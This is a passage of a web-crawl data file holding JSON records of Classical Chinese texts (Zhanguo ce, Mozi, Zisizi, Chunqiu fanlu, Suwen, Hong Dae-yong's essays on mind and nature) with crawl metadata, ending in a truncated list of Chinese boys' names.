枝。天長地久有時盡,此恨綿綿無絕期。","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/iccie.tw\/tag\/%E5%AF%AB%E4%BA%BA","date":"2018-12-19T02:56:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376830479.82\/warc\/CC-MAIN-20181219025453-20181219051453-00171.warc.gz","language":"lzh","language_score":0.5387836099,"language_script":"Hani","minhash_cluster_size":143,"top_langs":"{\"lzh_Hani_score\": 0.538783609867096, \"nan_Hani_score\": 0.12168420106172562, \"cmn_Hani_score\": 0.07574794441461563, \"zxx_Latn_score\": 0.04845898970961571, \"und_Yiii_score\": 0.019010944291949272, \"yue_Hani_score\": 0.016769900918006897, \"und_Tang_score\": 0.01457828190177679}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.442,"perplexity_score":500.0,"cluster_detection":1} +{"text":"戰國策卷八 ‧ 齊策一\n張儀為秦連橫說齊王\n張儀為秦連橫說齊王曰:「天下強國,無過齊者,大臣父兄殷眾富樂,無過齊者。然而為大王計者,皆為一時說而不顧萬世之利。從人說大王者,必謂齊西有強趙,南有韓、魏,負海之國也,地廣人眾,兵強士勇,雖有百秦,將無奈我何!大王覽其說,而不察其至實。夫從人朋黨比周,莫不以從為可。臣聞之,齊與魯三戰而魯三勝,國以危,亡隨其後,雖有勝名而有亡之實,是何故也?齊大而魯小。今趙之與秦也,猶齊之于魯也。秦、趙戰于河漳之上,再戰而再勝秦;戰于番吾之下,再戰而再勝秦。四戰之後,趙亡卒數十萬,邯鄲僅存。雖有勝秦之名,而國破矣!是何故也?秦強而趙弱也。今秦、楚嫁子取婦,為昆弟之國;韓獻宜陽,魏效河外,趙人朝黽池,割河間以事秦。大王不事秦,秦驅韓、魏攻齊之南地,悉趙涉清河,指摶關,臨淄、即墨非王之有也。國一日被攻,雖欲事秦,不可得也。是故願大王熟計之。」\n齊王曰:「齊僻陋隱居,託于東海之上,未嘗聞社稷之長利。今大客幸而教之,請奉社稷以事秦。」獻魚鹽之地三百里于秦也。","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/xn--5rtnx620bw5s.tw\/a2\/a202\/126.htm","date":"2019-02-22T03:15:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247512461.73\/warc\/CC-MAIN-20190222013546-20190222035546-00287.warc.gz","language":"lzh","language_score":0.6496703029,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6496703028678894, \"cmn_Hani_score\": 0.248074471950531, \"nan_Hani_score\": 0.08163639903068542, \"wuu_Hani_score\": 0.01045317854732275}","num_words":6,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.773,"perplexity_score":500.0,"cluster_detection":1} +{"text":"墨子親士第一\n入國而不存其士,則亡國矣。見賢而不急,則緩其君矣。非賢無急,非士無與慮國,緩賢忘士,而能以其國存者,未曾有也。\n昔者文公出走而正天下,桓公去國而霸諸侯,越王勾踐遇吳王之醜,而尚攝中國之賢君,三子之能達名成功於天下也,皆於其國抑而大醜也。太上無敗,其次敗而有以成,此之謂用民。\n吾聞之曰:「非無安居也,我無安心也。非無足財也,我無足心也。」是故君子自難而易彼,衆人自易而難彼。君子進不敗其志,內究其情,雖雜庸民,終無怨心,彼有自信者也。\n是故為其所難者,必得其所欲焉;未聞為其所欲,而免其所惡者也。是故偪臣傷君,諂下傷上,君必有弗弗之臣,上必有詻詻之下。分議者延延而支苟者詻詻,焉可以長生保國。臣下重其爵位而不言,近臣則喑,遠臣則唫,怨結於民心,諂諛在側,善議障塞,則國危矣。桀紂不以其無天下之士邪?殺其身而喪天下。故曰歸國寶,不若獻賢而進士。\n今有五錐,此其銛,銛者必先挫;有五刀,此其錯,錯者必先靡。是以甘井近竭,招木近伐,靈龜近灼,神蛇近暴。是故比干之殪其抗也,孟賁之殺其勇也,西施之沈其美也,吳起之裂其事也。故彼人者,寡不死其所長,故曰太盛難守也。\n故雖有賢君,不愛無功之臣,雖有慈父,不愛無益之子。是故不勝其任,而處其位,非此位之人也;不勝其爵而處其祿,非此祿之主也。良弓難張,然可以及高入深;良馬難乘,然可以任重致遠;良才難令,然可以致君見尊。是故江河不惡小谷之滿己也,故能大。聖人者,事無辭也,物無違也,故能為天下器。是故江河之水,非一水之源也;千鎰之裘,非一狐之白也。夫惡有同方取不取同而已者乎?蓋非兼王之道也。\n是故天地不昭昭,大水不潦潦,大火不燎燎,大德不堯堯者,乃千人之長也。其直如矢,其平如砥,不足以覆萬物。是故谿陝者速涸,逝淺者速竭,墝埆者其地不育,王者淳澤不出宮中,則不能流國矣。","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/www.xn--5rtnx620bw5s.tw\/h\/h03\/01.htm","date":"2019-05-20T14:10:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255944.3\/warc\/CC-MAIN-20190520121941-20190520143941-00225.warc.gz","language":"lzh","language_score":0.4492912292,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.4492912292480469, \"cmn_Hani_score\": 0.4364635944366455, \"nan_Hani_score\": 0.08743669092655182, \"wuu_Hani_score\": 0.017156843096017838}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.507,"perplexity_score":500.0,"cluster_detection":1} +{"text":"凡十章\n子思问于仲尼曰。为人君者莫不知任贤之逸也。而不能用贤。何故。仲尼曰。非不欲也。所以官人失能者。由于不明也。其君以誉为赏。以毁为罚。贤者不居焉。\n卫君曰。夫道大而难明。非吾所能也。今欲学术。何如。子思对曰。君无然也。体道者逸而不穷。任术者劳而无功。古之笃道君子。生不足以喜之。利何足以动之。死不足以禁之。害何足以惧之。故明于死生之分。通于利害之变。虽以天下易其胫毛。无所概于志矣。是以与圣人居。使穷士忘其贫贱。使王公简其富贵。君无然也。卫君曰。善。\n卫君言计是非。而群臣和者如出一口。子思曰。以吾观卫。所谓君不君。臣不臣者也。公丘懿子曰。何乃若是。子思曰。人主自臧则众谋不进。事是而臧之之。犹却众谋。况和非以长恶乎。夫不察事之是非。而说人赞已。闇莫甚焉。不度理之所在。而阿谀求容。谄莫甚焉。君闇臣谄。以居百姓之上。民弗与也。若此不已。国无类矣。子思谓卫君曰。君之国事将日非矣。君曰。何故。对曰。有由然焉。君出言皆自以为是。而卿大夫莫敢矫其非。卿大夫出言亦皆自以为是。而士庶人莫敢矫其非。君臣既自贤矣。而臣下同声贤之。贤之则顺而有福。矫之则逆而有祸。故使如此。如此则善安从生。诗云。具曰予圣。谁知乌之雌雄。抑似卫之君臣乎。\n卫君问子思曰。寡人之政何如。答曰。无非。君曰。寡人不知其不肖。亦望其如此也。子思对曰。希旨容媚。则君亲之。中正弼非。则君疏之。夫能使人富贵贫贱者。君也。在朝之士孰肯舍其所以见亲而取所以见疏乎。是故竞求射君之心。而莫有非君之非者。此臣所谓无非也。卫君曰。然乎。寡人之过也。今知改矣。子思对曰。君弗能焉。口顺而心不怿者。临其事必疣。君虽有命。臣弗敢受也。\n子思自齐反卫。卫君馆而问曰。先生鲁国之士。然不以卫之褊小。犹步玉趾而慰存之。愿有赐于寡人也。子思对曰。臣羇旅于此。而辱君之威尊亟临筚门。其荣多矣。欲报君以财帛。则君之府藏已盈。而伋又贫。欲报君以善言。则未合君志。而徒言不听也。顾未有可以报君者。唯达贤耳。曰。贤固寡人之所愿也。曰。未审君之愿将何以为。曰。必用以治政。曰。君弗能也。曰。何故。曰。卫国非无贤才之士。而君未有善政。是贤才不见用故也。曰。虽然愿闻先生所以为贤者。曰。君将以名取士耶。以实取士耶。曰。必以实。曰。卫之东境有李音者。贤而有实者也。曰。其父祖何也。曰。世农夫也。卫君乃胡卢大笑曰。寡人不好农夫之子。无所用之。且世臣之子。未悉官之。子思曰。臣称李音。称其贤才也。周公大圣。康叔大贤。今鲁卫之君未必皆同祖考。李音父祖虽善农。则音未必与之同也。君言世臣之子未悉官之。则臣所谓有贤才而不见用。果信矣。臣之问君。固疑君取士不以实也。今君不问李音之所以为贤才。而闻其世农夫。因笑而不爱。则君取士果信名而不由实者也。卫君屈而无辞。\n缪公问子思曰。吾闻庞拦氏子不孝。其行何如。子思对曰。臣闻明君之政。尊贤以崇德。举善以劝民。四封之内。孰敢不化。若夫过行。是细人之所识。不治其本而问其过。臣不知所以也。公曰。善。\n子思居卫。言茍变于卫君曰。其才可将五百乘。君任军旅。率得此人。则无敌于天下矣。卫君曰。吾知其才可将。然变也。尝为吏。赋于民而食人二鸡子。以故弗用也。子思曰。夫圣人之官人。犹大匠之用木也。取其所长。弃其所短。故杞梓连抱而有数尺之朽。良工不弃。何也。知其所妨者细也。卒成不訾之器。今君处战国之世。选爪牙之士。而以二卵弃干城之将。此不可使闻于邻国者也。卫君再拜曰。谨受教矣。\n卫公子交见于子思曰。先生圣人之后。执清高之操。天下之君子莫不服先生之大名也。交虽不敏。窃慕下风。愿师先生之行。幸顾恤之。子思曰。公子不宜也。夫清高之节。不以私自累。不以利烦意。择天下之至道。行天下之正路。今公子绍康叔之绪。处战伐之世。当务收英雄。保其疆土。非其所以明臧否立规检脩匹夫行之时也。\n齐王谓子思曰。先生名高于海内。吐言则天下之士莫不属耳目。今寡人欲相梁起。起也名少。愿先生谈说之也。子思对曰。天下之士所以属耳目者。以伋之言。是非当也。今君使伋虚谈于起。则天下之士改耳目矣。耳目既改。又无益于起。是两有丧也。故不敢承命。曰。起之不善。何也。曰。君岂未之知乎。厚于财物。必薄于德。自然之道也。今起以贪成富闻于诸侯。而无救施之惠焉。以好色闻于齐国。而无男女之别焉。有一于此。犹受其咎。而起二之。能无累乎。王曰。寡人之言实过。愿先生赦焉。","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/www.zggdwx.com\/zisizi\/8.html","date":"2020-01-29T07:53:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251789055.93\/warc\/CC-MAIN-20200129071944-20200129101944-00291.warc.gz","language":"lzh","language_score":0.4372677207,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4372677206993103, \"cmn_Hani_score\": 0.29251936078071594, \"zxx_Latn_score\": 0.049298129975795746, \"wuu_Hani_score\": 0.03882845491170883, \"nan_Hani_score\": 0.036059726029634476, \"jpn_Jpan_score\": 0.032116398215293884}","num_words":10,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.437,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n口技 京中有善口技者。会宾客大宴,于厅事之东北角,施八尺屏障,口技人坐屏障中,一桌、一椅、一扇、一抚尺而已。众宾团坐。少顷,但闻屏障中抚尺一下,满坐寂然,无敢哗者。 遥闻深巷中犬吠,便有妇人惊觉欠伸...\n木兰花·拟古决绝词柬友 人生若只如初见,何事秋风悲画扇。等闲变却故人心,却道故人心易变。(一作:却道故心人易变)骊山语罢清宵半,泪雨霖铃终不怨。(一作:泪雨零 \/ 夜雨霖)何如薄幸锦衣郎,比翼连枝当日愿。\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/china-zhbs.tw\/index$&dynasty=%E6%B8%85%E4%BB%A3&dynastyLabel=%E6%B8%85%E4%BB%A3.htm","date":"2020-01-19T15:20:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250594662.6\/warc\/CC-MAIN-20200119151736-20200119175736-00021.warc.gz","language":"lzh","language_score":0.4276907742,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.4276907742023468, \"cmn_Hani_score\": 0.4024706780910492, \"nan_Hani_score\": 0.09085268527269363, \"wuu_Hani_score\": 0.03875080868601799, \"yue_Hani_score\": 0.027586551383137703, \"jpn_Jpan_score\": 0.012396864593029022}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.458,"perplexity_score":500.0,"cluster_detection":1} +{"text":"林於錦 校對提供\n董子春秋繁露卷第五\n會盟要第十\n至意雖難喻,蓋聖人者貴除天下之患。貴除天下之患,故《春秋》重,而書天下之患偏矣。以為本於見天下之所以致患,其意欲以除天下之患,何謂哉?天下者無患,然後性可善;性可善,然後清廉之化流;清廉之化流,然後王道舉。禮樂興,其心在此矣。《傳》曰:諸侯相聚而盟。君子修國曰:此將率為也哉。是以君子以天下為憂也,患乃至於弒君三十六,亡國五十二,細惡不絕之所致也。辭已喻矣,故曰:立義以明尊卑之分,強榦弱枝以明大小之職;別嫌疑之行,以明正世之義;采摭託意,以矯失禮。善無小而不舉,無惡小而不去,以純其美。別賢不肖以明其尊。親近以來遠,因其國而容天下,名倫等物不失其理。公心以是非,賞善誅惡而王澤洽,始於除患,正一而萬物備。故曰大矣哉其號,兩言而管天下。此之謂也。","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/www.chineseclassic.com\/content\/1284","date":"2020-02-25T14:31:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146123.78\/warc\/CC-MAIN-20200225141345-20200225171345-00051.warc.gz","language":"lzh","language_score":0.4933331013,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.493333101272583, \"cmn_Hani_score\": 0.4396778643131256, \"wuu_Hani_score\": 0.026148010045289993, \"nan_Hani_score\": 0.02112279273569584}","num_words":5,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.627,"perplexity_score":500.0,"cluster_detection":1} +{"text":"素問・12異法方宜論\n黄帝問曰、医之治病也、一病而治各不同、皆愈、何也。岐伯対曰、地勢使然也。\n故東方之域、天地之所始生也。魚塩之地、海濱傍水。其民食魚而嗜鹹。皆安其処、美其食。魚者使人熱中、塩者勝血。故其民皆黒色疏理。其病皆為癰瘍。其治宜砭石。故砭石者、亦従東方来。\n西方者、金玉之域、沙石之処、天地之所收引也。其民陵居而多風、水土剛強。其民不衣而褐荐、其民華食而脂肥。故邪不能傷其形体。其病生於内。其治宜毒薬。故毒薬者、亦従西方来。\n北方者、天地所閉蔵之域也。其地高、陵居、風寒冰冽。其民楽野処而乳食。蔵寒生満病。其治宜灸焫。故灸焫者、亦従北方来。\n南方者、天地所長養、陽之所盛処也。其地下、水土弱、霧露之所聚也。其民嗜酸而食胕。故其民皆至理而赤色。其病攣痺。其治宜微鍼。故九鍼者、亦従南方来。\n中央者、其地平以湿、天地所以生万物也衆。其民食雑而不労。故其病多痿厥寒熱。其治宜導引按蹻。故導引按蹻者、亦従中央出也。\n故聖人雜合以治、各得其所宜。故治所以異而病皆愈者、得病之情、知治之大体也。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.yakuzenjoho.net\/data\/somon\/12ihouhougiron.html","date":"2020-02-18T01:48:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875143455.25\/warc\/CC-MAIN-20200217235417-20200218025417-00457.warc.gz","language":"lzh","language_score":0.6292545199,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.6292545199394226, \"cmn_Hani_score\": 0.18322107195854187, \"nan_Hani_score\": 0.08678153157234192, \"jpn_Jpan_score\": 0.05948890373110771, \"wuu_Hani_score\": 0.026021607220172882, \"yue_Hani_score\": 0.010936318896710873}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.629,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门渔人码头四种办法处置禁食停养野生动物各地补偿方案仍在路上\n滚滚长江东逝水,浪花淘尽英雄。是非成败转头空。\n太史公曰:至矣哉!立隆以为极,而天下莫之能益损也。本末相顺,终始相应,至文有以辨,至察有以说。天下从之者治,不从者乱;从之者安,不从者危。小人不能则也。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n子曰:\"君子求诸己,小人求诸人。\"\n司马法曰:\"国虽大,好战必亡;天下虽平,忘战必危。\"天下既平,天子大凯,春蒐秋狝,诸侯春振旅,秋治兵,所以不忘战也。且夫怒者逆德也,兵者凶器也,争者末节也。古之人君一怒必伏尸流血,故圣王重行之。夫务战胜穷武事者,未有不悔者也。昔秦皇帝任战胜之威,蚕食天下,并吞战国,海内为一,功齐三代。务胜不休,欲攻匈奴,李斯谏曰:\"不可。夫匈奴无城郭之居,委积之守,迁徙鸟举,难得而制也。轻兵深入,粮食必绝;踵粮以行,重不及事。得其地不足以为利也,遇其民不可役而守也。胜必杀之,非民父母也。靡弊中国,快心匈奴,非长策也。\"秦皇帝不听,遂使蒙恬将兵攻胡,辟地千里,以河为境。地固泽卤,不生五穀。然後发天下丁男以守北河。暴兵露师十有馀年,死者不可胜数,终不能逾河而北。是岂人众不足,兵革不备哉?其势不可也。又使天下蜚刍輓粟,起於黄、腄、琅邪负海之郡,转输北河,率三十锺而致一石。男子疾耕不足於粮饟,女子纺绩不足於帷幕。百姓靡敝,孤寡老弱不能相养,道路死者相望,盖天下始畔秦也。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/mcpyy.ysrpgj.com\/","date":"2020-04-09T19:01:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371876625.96\/warc\/CC-MAIN-20200409185507-20200409220007-00172.warc.gz","language":"lzh","language_score":0.490391314,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4903913140296936, \"cmn_Hani_score\": 0.3307340741157532, \"nan_Hani_score\": 0.048580583184957504, \"wuu_Hani_score\": 0.03066295012831688, \"und_Tang_score\": 0.015426432713866234}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.395,"perplexity_score":500.0,"cluster_detection":1} +{"text":"담헌서\/내집 1권\/심성문\n心性問[편집]\n凡言理者。必曰無形而有理。旣曰無形。則有者是何物。旣曰有理。則豈有無形而謂之有者乎。盖有聲則謂之有。有色則謂之有。有臭與味則謂之有。旣無是四者。則是無形體無方所。所謂有者是何物耶。且曰無聲無臭而爲造化之樞紐。品彙之根柢。則旣無所作爲。何以見其爲樞紐根柢耶。且所謂理者。氣善則亦善。氣惡則亦惡。是理無所主宰而隨氣之所爲而已。如言理本善。而其惡也爲氣質所拘而非其本體。此理旣爲萬化之本矣。何不使氣爲純善而生此駁濁乖戾之氣以亂天下乎。旣爲善之本。又爲惡之本。是因物遷變。全沒主宰。從古聖賢何故而極口說一理字。老氏之虛無。佛氏之寂滅。於是乎分。其故安在。今學者開口便說性善。所謂性者。何以見其善乎。見孺子入井。有惻隱之心。則固可謂之本心。若見玩好而利心生。油然直遂。不暇安排。則何得謂之非本心乎。且性者。一身之理而理無聲臭矣。善惡二字。將何以着得耶。\n言仁義則禮智在其中。言仁則義亦在其中。仁者理也。人有人之理。物有物之理。所謂理者。仁而已矣。\n在天曰理。在物曰性。在天曰元亨利貞。在物曰仁義禮智。其實一也。\n草木不可謂全無知覺。\n雨露旣零。萌芽發生者。惻隱之心也。霜雪旣降。枝葉搖落者。羞惡之心也。\n仁卽義義卽仁。理也者。一而已矣。\n毫釐之微。只此仁義也。天地之大。只此仁義也。大而不加。小而不减。至矣乎。\n草木之理。卽禽獸之理。禽獸之理。卽人之理。人之理。卽天之理。理也者。仁與義而已矣。\n虎狼之仁。蜂蟻之義。從其發見處言也。言其性。則虎狼豈止於仁。蜂蟻豈止於義乎。虎狼之父子仁也。而所以行此仁者義也。蜂蟻之君臣義也。而所以發此義者仁也。\n夫同者理也。不同者氣也。珠玉至寶也。糞壤至賤也。此氣也。珠玉之所以寶。糞壤之所以賤。仁義也。此理也。故曰珠玉之理。卽糞壤之理。糞壤之理。卽珠玉之理也。\n事無善惡。不出乎四端。\n花開葉落。人皆曰天之造化。不知人之一動一靜。亦莫非天之爲也。\n天下之義理無窮。豈可自是己見而妄非他人乎。堯舞之聖。舍己從人。今人之妄自主張。多見其淺淺矣。蘇子卿杖節十九年。雪飢寒。不以動其心。通胡女而生子。胡澹菴請斬三姦。直聲動天下。一失於黎渦。甘莝豆之辱。是故慾莫甚於色也。\n人之語顔淵。必哀其夭而悶其竆。是不然。數仞之堂。方丈之食。富貴者之樂也。陋巷之居。簟瓢之飮。顔子之樂。亦在其中。彼之樂富貴也。此之樂道義也。富貴之樂。生樂而死悲。道義之樂。生樂而死安。快活過三十年矣。奚爲彼戚戚而壽者哉。令名無竆。至于今。尊而師之。達莫大焉。\n見人强我。必媢疾之。耻己之不若故也。如耻之。莫如遷其善。我亦有是善。彼何以加我哉。若媢疾之。則我之惡滋甚。愈不及於彼矣。不思甚矣。\n심성문[편집]\n答徐成之論心說[편집]\n凡物。同則皆同。異則皆異。是故理者。天下之所同也。氣者。天下之所異也。今夫心之爲物。有迹有用。不可謂之理也。不見不聞。不可謂之氣也。此則朱先生比理微有迹。比氣自然又靈之意。不可仍此而便謂之非理非氣之物。當活看。只是氣之粹者。物之神者。無大小無厚薄無明暗無通塞。能知能覺。虛靈不昧。不知此爲天下之同者耶。爲天下之異者耶。異則若聖若愚若禽若獸若草若木。無不異也。同則若聖若愚若禽若獸若草若木。無不同也。同則皆同。異則皆異。此可以一言而决矣。吾觀聖者矣。聰明睿智。能周萬物。吾觀愚者矣。癡獃魍魎。不識四到。其心之不同。童子之所知也。然而孟子之道性。只主於四端。程子之論心。必言其本善。此其故何也。觀其用則異。語其本則同。惟此本體之明。不以聖而顯。不以愚而晦。不以禽獸而缺。不以草木而亡。無他。體神且粹。不拘於氣而失其本故也。由是觀之。則賢愚之同不同。可知也。賢愚之同不同可知。則禽獸之同不同。可知也。禽獸之同不同可知。則草木之同不同。可知也。今夫人有不慈而虎必愛子。人有不忠而蜂必敬君。人有淫奔而鳩必有別。人有冥行而鴈必候時。麟之仁也。龜之靈也。樹之連理。草之夜合。雨而喜。霜而憔悴。此其心靈乎不靈乎。謂之不靈則已。謂之靈則方之於人。非惟不異而或過之。人物之心。其果不同乎。且心者。神明不測之物也。無形狀無聲臭。雖欲不同。何離何合何完何缺。一有不同。是心逐氣變體。靈無定本。旣無定本。則智之於愚。賢之於不肖。皆不同也。此豈理也歟。故曰。愚局於氣。物局於質。心之靈則一也。氣可變而質不可變。此人物之殊也。\n充塞于天地者。只是氣而已而理在其中。論氣之本。則澹一冲虛。無有淸濁之可言。及其升降飛揚。相激相蕩。糟粕煨燼。乃有不齊。於是得淸之氣而化者爲人。得濁之氣而化者爲物。就其中至淸至粹神妙不測者爲心。所以妙具衆理而宰制萬物。是則人與物一也。虎狼之於子也。慈愛之心。油然而生。蜂蟻之於君也。敬畏之心。自然而生。此可見其心之本善。與人同也。然則物亦可以正其心而爲修齊治平之事耶。曰。是則局於形也。若能滌盡滓穢。復其純粹。則雖物亦何可不爲修齊之業也。而惟局於形。是以終無其理。何可以形之局而謂其心之亦異耶。孔子曰。民可使由之。不可使知之。夫民之心。本自虛靈洞澈。萬理咸備。聖人之不使知之而終不可爲堯舜之聰明睿智者。何也。是亦局於氣也。若以此而遂以爲衆人之心。與聖人之心不同。則愚不知其何說也。\n一兩路明。智周萬物。同異之懸。判以天壤。但未知一兩路明者其所禀於天者然耶。抑所禀者全而拘於氣者然耶。若曰人得其全而物得其偏。則是心之爲物。有大虛靈。有小虛靈。有通虛靈。有塞虛靈。離滯破碎。其同於一物甚矣。何足以爲萬化之主歟。\n人亦有癡獃魍魎者。物亦有通明敏悟者。如螻蟻先知雨。麒麟不踐草。其心之靈。反有賢於人者。何渠不若彼癡獃魍魎者耶。若執其形而謂其心之不同。則炎帝牛首。伏羲蛇身而不害其爲聖也。猩猩人言。鮫魚人行。是何嘗遠於人哉。\n窮髮之界。獸食而獸行者。雖有圓臚方趾。是與犬馬奚擇哉。是雖服堯之服。遊孔子之門。决不能去盡雜氣智周萬物矣。以此而遂以爲未嘗有才焉。是豈其情然哉。\n답서성지론심서[편집]","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/ko.wikisource.org\/wiki\/%EB%8B%B4%ED%97%8C%EC%84%9C\/%EB%82%B4%EC%A7%91_1%EA%B6%8C\/%EC%8B%AC%EC%84%B1%EB%AC%B8","date":"2020-07-13T06:03:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657142589.93\/warc\/CC-MAIN-20200713033803-20200713063803-00367.warc.gz","language":"lzh","language_score":0.4150464535,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.41504645347595215, \"cmn_Hani_score\": 0.28377866744995117, \"nan_Hani_score\": 0.16934923827648163, \"wuu_Hani_score\": 0.04387889802455902, \"jpn_Jpan_score\": 0.03727557510137558, \"yue_Hani_score\": 0.010807056911289692}","num_words":26,"character_repetition_ratio":0.007,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.415,"perplexity_score":500.0,"cluster_detection":1} +{"text":"今天小編為大家帶來獨特觀點:2017年秦姓男孩名字大全,好聽的男孩名字大全2017屬雞。關注獨特觀點的朋友們歡迎閱讀本文哦,更多資訊盡在傳播招生網,敬請閱讀和關注。\n2017年秦姓男孩名字大全\n秦愛騰 秦愛學 秦藹綱 秦藹函 秦藹好 秦藹巒 秦藹卯 秦藹爭 秦岸葛 秦岸今 秦岸巖 秦八競 秦八倫 秦八燃 秦八虞 秦巴壬 秦巴添 秦巴葉 秦巴億 秦百震 秦佰獎 秦佰鷺 秦佰桃 秦佰旭 秦伴簡 秦伴垣 秦伴涇 秦幫騁 秦幫鋒 秦幫衡 秦幫僚 秦幫岳 秦榜鈔 秦榜司 秦保倡 秦保黎 秦保睦 秦保形 秦豹樊 秦豹添 秦豹肖 秦豹學 秦豹友 秦豹榆 秦豹仔 秦北超 秦北勻 秦北酌 秦北禪 秦鋇竣 秦鋇攀 秦鋇翼 秦鋇晝 秦鋇箏 秦倍堡 秦倍達 秦倍盛 秦倍梧 秦倍贏 秦焙鷗 秦焙圖 秦焙嵩 秦陛堡 秦邊爾 秦邊明 秦邊旋 秦邊兮 秦標靜 秦標巒 秦標誦 秦標員 秦斌奧 秦斌檸 秦斌晰 秦斌昭 秦斌征 秦濱戈 秦濱慷 秦濱莫 秦濱義 秦濱元 秦濱源 秦濱昭 秦濱鐘 秦濱旎 秦繽堡 秦繽波 秦繽慷 秦繽耘 秦繽崳 秦丙豐 秦丙探 秦丙學 秦舶風 秦舶覽 秦舶銘 秦舶沐 秦舶騏 秦舶騏 秦搏仔 秦伯集 秦伯磊 秦伯維 秦伯雍 秦伯箏 秦帛敏 秦帛宸 秦泊榆 秦泊垣 秦泊茆 秦步鶴 秦步司 秦步揚 秦材高 秦材今 秦材淶 秦材蕎 秦材迦 秦財驄 秦財鋼 秦財集 秦財競 秦財酌 秦財胤 秦參菠 秦參盟 秦參旋 秦參洹 秦艙今 秦艙競 秦艙莫 秦艙浦 秦艙希 秦艙巖 秦策功 秦策弦 秦冊家 秦冊探 秦冊招 秦冊潯 秦嘗安 秦嘗鴻 秦嘗享 秦嘗貞 秦敞懷 秦敞謀 秦超科 秦超渺 秦超寧 秦超騏 秦超章 秦超致 秦超杞 秦澄波 秦澄超 秦澄遠 秦騁佰 秦騁劍 秦騁慶 秦騁燃 秦騁殊 秦騁岷 秦弛蟲 秦弛鋼 秦弛貫 秦弛粱 秦弛沃 秦尺宏 秦尺弘 秦尺敏 秦尺鎮 秦尺簫 秦翅道 秦翅火 秦翅克 秦翅粱 秦翅也 秦翅翼 秦翅云 秦翅證 秦翅組 秦翅瓚 秦熾綽 秦熾造 秦熾騫 秦熾杞 秦崇攀 秦崇時 秦崇助 秦初桓 秦初謹 秦初術 秦初維 秦創萌 秦創冕 秦創俠 秦創選 